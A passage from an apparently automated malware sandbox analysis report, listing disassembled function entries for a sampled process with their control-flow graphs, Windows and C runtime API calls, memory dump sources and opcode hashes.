                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 74012170C0425CEEDF11DB99C5183AEBFB5AF41308F1481E9C4093B242D7B69B58CBA1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 048A97C6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 41 48a97c6-48a97df 42 48a97e1-48a97e3 41->42 43 48a97ea-48a97f6 CreateToolhelp32Snapshot 42->43 44 48a97e5 42->44 45 48a97f8-48a97fe 43->45 46 48a9806-48a9813 Module32First 43->46 44->43 45->46 51 48a9800-48a9804 45->51 47 48a981c-48a9824 46->47 48 48a9815-48a9816 call 48a9485 46->48 52 48a981b 48->52 51->42 51->46 52->47
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 048A97EE
                                                                                                                                                                                                                                                                • Module32First.KERNEL32(00000000,00000224), ref: 048A980E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2431912071.00000000048A9000.00000040.00000020.00020000.00000000.sdmp, Offset: 048A9000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_48a9000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: CreateFirstModule32SnapshotToolhelp32
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3833638111-0
                                                                                                                                                                                                                                                                • Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction ID: 05a0bb998a3f769ad960fd079d2bd28b6fa97631f979939062eb0d136c3b7226
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2DF062762007106BE7203FB9A88DA6A76E8EF89725F100F68E646D10C0DBB4F8554A61
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 048A9485 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 54 48a9485-48a94bf call 48a9798 57 48a950d 54->57 58 48a94c1-48a94f4 VirtualAlloc call 48a9512 54->58 57->57 60 48a94f9-48a950b 58->60 60->57
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 048A94D6
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2431912071.00000000048A9000.00000040.00000020.00020000.00000000.sdmp, Offset: 048A9000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_48a9000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocVirtual
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                • Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction ID: c3de098e378a0a2955e7dd6a785a1e4cbcd1124e3d23bb1a8c95923bc7508e9c
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7F112879A00208EFDB01DF98C985E99BFF5AF08350F1580A4F9489B361D375EA90EF90
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Non-executed Functions

                                                                                                                                                                                                                                                                Function 04A06437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 551 4a06437-4a06440 552 4a06442-4a06446 551->552 553 4a06466 551->553 552->553 554 4a06448-4a06459 call 4a09636 552->554 555 4a06468-4a0646b 553->555 558 4a0645b-4a06460 call 4a05ba8 554->558 559 4a0646c-4a0647d call 4a09636 554->559 558->553 564 4a06488-4a0649a call 4a09636 559->564 565 4a0647f-4a06480 call 4a0158d 559->565 570 4a064ac-4a064cd call 4a05f4c call 4a06837 564->570 571 4a0649c-4a064aa call 4a0158d * 2 564->571 569 4a06485-4a06486 565->569 569->558 580 4a064e2-4a06500 call 4a0158d call 4a04edc call 4a04d82 call 4a0158d 570->580 581 4a064cf-4a064dd call 4a0557d 570->581 571->569 590 4a06507-4a06509 580->590 587 4a06502-4a06505 581->587 588 4a064df 581->588 587->590 588->580 590->555
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1442030790-0
                                                                                                                                                                                                                                                                • Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction ID: ee57cfe2634c3c77243c645ed8d0f40314f27b1e757d9803d2a2155f4f122cb4
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7F21AE31604600AEFB217F65FB01E4B7BE8EF45768F50C029F485590E0EA23F960CA51
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A03F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 595 4a03f16-4a03f2f 596 4a03f31-4a03f3b call 4a05ba8 call 4a04c72 595->596 597 4a03f49-4a03f5e call 4a0bdc0 595->597 604 4a03f40 596->604 597->596 603 4a03f60-4a03f63 597->603 605 4a03f65 603->605 606 4a03f77-4a03f7d 603->606 609 4a03f42-4a03f48 604->609 610 4a03f67-4a03f69 605->610 611 4a03f6b-4a03f75 call 4a05ba8 605->611 607 4a03f89-4a03f9a call 4a10504 call 4a101a3 606->607 608 4a03f7f 606->608 619 4a03fa0-4a03fac call 4a101cd 607->619 620 4a04185-4a0418f call 4a04c9d 607->620 608->611 613 4a03f81-4a03f87 608->613 610->606 610->611 611->604 613->607 613->611 619->620 625 4a03fb2-4a03fbe call 4a101f7 619->625 625->620 628 4a03fc4-4a03fcb 625->628 629 4a0403b-4a04046 call 4a102d9 628->629 630 4a03fcd 628->630 629->609 636 4a0404c-4a0404f 629->636 631 4a03fd7-4a03ff3 call 4a102d9 630->631 632 4a03fcf-4a03fd5 630->632 631->609 640 4a03ff9-4a03ffc 631->640 632->629 632->631 638 4a04051-4a0405a call 4a10554 636->638 639 4a0407e-4a0408b 636->639 638->639 648 4a0405c-4a0407c 638->648 642 4a0408d-4a0409c call 4a10f40 639->642 643 4a04002-4a0400b call 4a10554 640->643 644 4a0413e-4a04140 640->644 651 4a040a9-4a040d0 call 4a10e90 call 4a10f40 642->651 652 4a0409e-4a040a6 642->652 643->644 653 4a04011-4a04029 call 4a102d9 643->653 644->609 648->642 661 4a040d2-4a040db 651->661 662 4a040de-4a04105 call 4a10e90 call 4a10f40 651->662 652->651 653->609 658 4a0402f-4a04036 653->658 658->644 661->662 667 4a04113-4a04122 call 4a10e90 662->667 668 4a04107-4a04110 662->668 671 4a04124 667->671 672 4a0414f-4a04168 667->672 668->667 675 4a04126-4a04128 671->675 676 4a0412a-4a04138 671->676 673 4a0416a-4a04183 672->673 674 4a0413b 672->674 673->644 674->644 675->676 677 4a04145-4a04147 675->677 676->674 677->644 678 4a04149 677->678 678->672 679 4a0414b-4a0414d 678->679 679->644 679->672
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _memset.LIBCMT ref: 04A03F51
                                                                                                                                                                                                                                                                  • Part of subcall function 04A05BA8: __getptd_noexit.LIBCMT ref: 04A05BA8
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 04A03FEA
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 04A04020
                                                                                                                                                                                                                                                                • __gmtime64_s.LIBCMT ref: 04A0403D
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 04A04093
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04A040AF
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 04A040C6
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04A040E4
                                                                                                                                                                                                                                                                • __allrem.LIBCMT ref: 04A040FB
                                                                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04A04119
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 04A0418A
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 384356119-0
                                                                                                                                                                                                                                                                • Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction ID: c7545c49979ec3af92b50dc60eaf5ee2422807732a0e0fd65c4e1e406703579e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F571D671A01716BBE7149F79DD81B6AB3B9BF14368F14C229FA14EA6C0E770F9408790
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A0650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3432600739-0
                                                                                                                                                                                                                                                                • Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction ID: 6433bc230f3dbde08ef8de00beca48b60d176903f110632ea7214a67d7a5dcd7
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 52410432904308AFEB00AFA4FA8079E3BE4BF0831CF10C42DE914561D1DB76B654DB51
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A084AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                                                                control_flow_graph 744 4a084ab-4a084d9 call 4a08477 749 4a084f3-4a0850b call 4a0158d 744->749 750 4a084db-4a084de 744->750 757 4a08524-4a0855a call 4a0158d * 3 749->757 758 4a0850d-4a0850f 749->758 751 4a084e0-4a084eb call 4a0158d 750->751 752 4a084ed 750->752 751->750 751->752 752->749 769 4a0856b-4a0857e 757->769 770 4a0855c-4a08562 757->770 760 4a08511-4a0851c call 4a0158d 758->760 761 4a0851e 758->761 760->758 760->761 761->757 774 4a08580-4a08587 call 4a0158d 769->774 775 4a0858d-4a08594 769->775 770->769 771 4a08564-4a0856a call 4a0158d 770->771 771->769 774->775 778 4a085a3-4a085ae 775->778 779 4a08596-4a0859d call 4a0158d 775->779 782 4a085b0-4a085bc 778->782 783 4a085cb-4a085cd 778->783 779->778 782->783 785 4a085be-4a085c5 call 4a0158d 782->785 785->783
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free$ExitProcess___crt
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1022109855-0
                                                                                                                                                                                                                                                                • Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
                                                                                                                                                                                                                                                                • Instruction ID: a6f95c016313b0e482cdae954d2f42a23a8ebc2892dd7a4082f31dfc05b579fd
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 86318631901250DFDB116F54FC8488977B4FB18324704C52EE905672E0CBB9F9C99F98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A2FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 04A2FC1F
                                                                                                                                                                                                                                                                  • Part of subcall function 04A1169C: std::exception::_Copy_str.LIBCMT ref: 04A116B5
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 04A2FC34
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 04A2FC4D
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 04A2FC62
                                                                                                                                                                                                                                                                • std::regex_error::regex_error.LIBCPMT ref: 04A2FC74
                                                                                                                                                                                                                                                                  • Part of subcall function 04A2F914: std::exception::exception.LIBCMT ref: 04A2F92E
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 04A2FC82
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 04A2FC9B
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 04A2FCB0
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
                                                                                                                                                                                                                                                                • String ID: leM
                                                                                                                                                                                                                                                                • API String ID: 3569886845-2926266777
                                                                                                                                                                                                                                                                • Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction ID: 4de28e6e12e17e31dad787945338d616ca0a4b34944a1e37a9a68b72d4d40f58
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7511BC79C0020DBBCF00FFA5D555CDEBB7CAB04244F408566AD1497655EB74B7488B94
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049EF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _free_malloc_wprintf$_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3721157643-0
                                                                                                                                                                                                                                                                • Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
                                                                                                                                                                                                                                                                • Instruction ID: 4c1fc19dd91ff5f264784c85ae91aa86ab0f6c943a43e71600f206f7d117cdaf
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3E1105B65006503AE26266B56D15EFF3AEC9F45316F0440AAFA48E11C0DA19BA0493B1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049F1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset$_malloc_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 65388428-0
                                                                                                                                                                                                                                                                • Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
                                                                                                                                                                                                                                                                • Instruction ID: 7facfae2fbe946d0e4b49d2fe78364b31fa08a4ebe55321547ef1e74aebc2e11
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 20515C71D40209EBEB11DBA5DD86FEFBBBCFB04704F104125FA05B6190E774AA018BA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049EF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 217217746-0
                                                                                                                                                                                                                                                                • Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction ID: 91ac2574a5487a876e366b36252da9e19044fa8fce876bef3304551c485ca0b9
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: CF514EB1E40209BAEF11DFA2DD46FFEBB78EB04744F104026F905B6190E775AA058BA5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049EF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Exception@8Throw$_memset_sprintf
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 217217746-0
                                                                                                                                                                                                                                                                • Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction ID: cb0f241e1984c2c2e4eaba956a6ab9762f9183e24e0b41dd686c353b7a4c0b7d
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 15513171D40209BAEF11DFA2DD45FFEBBB8EB58704F10413AE905B6190EA746A058BA4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04A2208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 3534693527-0
                                                                                                                                                                                                                                                                • Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction ID: a7564db7174a4eb9b1dc271b0427af8d609b36968b8dab19a14d2cd6b94cd0da
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C3310E33A45231ABFB217BACEF01B9E37649F05B28F108195E904EB1C0DB74F941A7A1
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 04AA66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __getptd_noexit.LIBCMT ref: 04AA66DD
                                                                                                                                                                                                                                                                  • Part of subcall function 04A059BF: __calloc_crt.LIBCMT ref: 04A059E2
                                                                                                                                                                                                                                                                  • Part of subcall function 04A059BF: __initptd.LIBCMT ref: 04A05A04
                                                                                                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 04AA6700
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 04AA671E
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 04AA673B
                                                                                                                                                                                                                                                                • __get_sys_err_msg.LIBCMT ref: 04AA676D
                                                                                                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 04AA678B
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 4066021419-0
                                                                                                                                                                                                                                                                • Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction ID: 3cc4b322057bb860cde8d465cd2a8c279d8bd6d47b7c9d3a5af113dcba9669dd
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: DB1194B16016147BFB256B25EE40B6B739CEF047A8F084466FE88A7290F721FD204AD4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 049F2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 049E0000, based on PE: false
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_15_2_49e0000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: D
                                                                                                                                                                                                                                                                • API String ID: 2102423945-2746444292
